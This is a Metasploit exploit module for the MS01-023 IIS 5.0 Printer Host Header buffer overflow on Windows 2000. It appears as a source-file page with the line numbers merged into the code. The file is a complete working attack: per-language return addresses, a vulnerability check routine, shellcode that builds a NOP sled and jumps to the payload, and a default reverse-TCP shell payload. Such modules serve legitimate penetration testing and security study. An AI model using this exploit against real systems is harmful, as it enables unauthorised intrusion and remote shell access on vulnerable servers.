Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/iis/ms01_023_printer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow',15'Description' => %q{16This exploits a buffer overflow in the request processor of the17Internet Printing Protocol ISAPI module in IIS. This module18works against Windows 2000 Server and Professional SP0-SP1.1920If the service stops responding after a successful compromise,21run the exploit a couple more times to completely kill the22hung process.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2001-0241'],28[ 'OSVDB', '3323'],29[ 'BID', '2674'],30[ 'MSB', 'MS01-023'],31[ 'URL', 'https://seclists.org/lists/bugtraq/2001/May/0005.html'],32],33'Privileged' => false,34'Payload' => {35'Space' => 900,36'BadChars' => "\x00\x0a\x0b\x0d\x20\x2f\x3a",37'StackAdjustment' => -350038},39'Targets' => [40# jmp esp @ compfilt.dll41[ 'Windows 2000 SP0-SP1 (Arabic)', { 'Ret' => 0x732345f3 } ],42[ 'Windows 2000 SP0-SP1 (Czech)', { 'Ret' => 0x732645f3 } ],43[ 'Windows 2000 SP0-SP1 (Chinese)', { 'Ret' => 0x732245f3 } ],44[ 'Windows 2000 SP0-SP1 (Dutch)', { 'Ret' => 0x732745f3 } ],45[ 'Windows 2000 SP0-SP1 (English)', { 'Ret' => 0x732c45f3 } ],46[ 'Windows 2000 SP0-SP1 (French)', { 'Ret' => 0x732345f3 } ],47[ 'Windows 2000 SP0-SP1 (Finnish)', { 'Ret' => 0x732945f3 } ],48[ 'Windows 2000 SP0-SP1 (German)', { 'Ret' => 0x732345f3 } ],49# [ 'Windows 2000 SP0-SP1 (Greek)', { 'Ret' => 0x732045f3 } ], # contains 0x2050[ 'Windows 2000 SP0-SP1 (Korean)', { 'Ret' => 0x731e45f3 } ],51[ 'Windows 2000 SP0-SP1 (Hungarian)', { 'Ret' => 0x732445f3 } ],52[ 'Windows 2000 SP0-SP1 (Italian)', { 'Ret' => 0x732645f3 } ],53[ 'Windows 2000 SP0-SP1 (Portuguese)', { 'Ret' => 0x732645f3 } ],54[ 'Windows 2000 SP0-SP1 (Spanish)', { 'Ret' => 0x732645f3 } ],55[ 'Windows 2000 SP0-SP1 (Swedish)', { 'Ret' => 0x732945f3 } ],56[ 'Windows 2000 SP0-SP1 (Turkish)', { 'Ret' => 0x732545f3 } ],5758# jmp esp @ ws2_32.dll59[ 'Windows 2000 Pro SP0 (Greek)', { 'Ret' => 0x74f862c3 } ],60[ 'Windows 2000 Pro SP1 (Greek)', { 'Ret' => 0x74f85173 } ],61],62'Arch' => [ARCH_X86],63'Platform' => 'win',64'DefaultOptions' => {65'PAYLOAD' => 'windows/shell/reverse_tcp'66},67'Notes' => {68'Reliability' => [REPEATABLE_SESSION],69'Stability' => [CRASH_SERVICE_DOWN],70'SideEffects' => [IOC_IN_LOGS]71},72'DefaultTarget' => 4,73'DisclosureDate' => '2001-05-01'74)75)7677register_options([78Opt::RPORT(80)79])80end8182def check83res = send_request_cgi({84'uri' => '/NULL.printer',85'version' => '1.0'86})8788return CheckCode::Unknown('Connection failed') unless res89return CheckCode::Safe unless res.code == 50090# Error response is language dependent: "<b>Error in web printer install.</b>"91return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')9293res = send_request_cgi({94'uri' => '/NULL.printer',95'vhost' => rand_text_alpha(257),96'version' => '1.0'97})9899return CheckCode::Unknown('Connection failed') unless res100return CheckCode::Detected("The IUSER account is locked out, we can't check") if res.body.to_s.include?('locked out')101return CheckCode::Safe unless res.code == 500102return CheckCode::Safe unless res.body.to_s.starts_with?('<b>') && res.body.to_s.ends_with?('</b>')103104CheckCode::Appears105end106107def exploit108print_status("Using target: #{target.name} ...")109110buf = make_nops(268)111buf << [target.ret].pack('V')112buf << make_nops(8)113114# payload is at: [ebx + 96] + 256 + 64115buf << "\x8b\x4b\x60" # mov ecx, [ebx + 96]116buf << "\x80\xc1\x40" # add cl, 64117buf << "\x80\xc5\x01" # add ch, 1118buf << "\xff\xe1" # jmp ecx119120res = send_request_cgi({121'uri' => "http://#{buf}/NULL.printer?#{payload.encoded}",122'version' => '1.0'123}, 5)124125# It is expected that we receive no reply. A reply indicates exploit failure.126fail_with(Failure::UnexpectedReply, "#{res.code} #{res.message}") if res127end128end129130131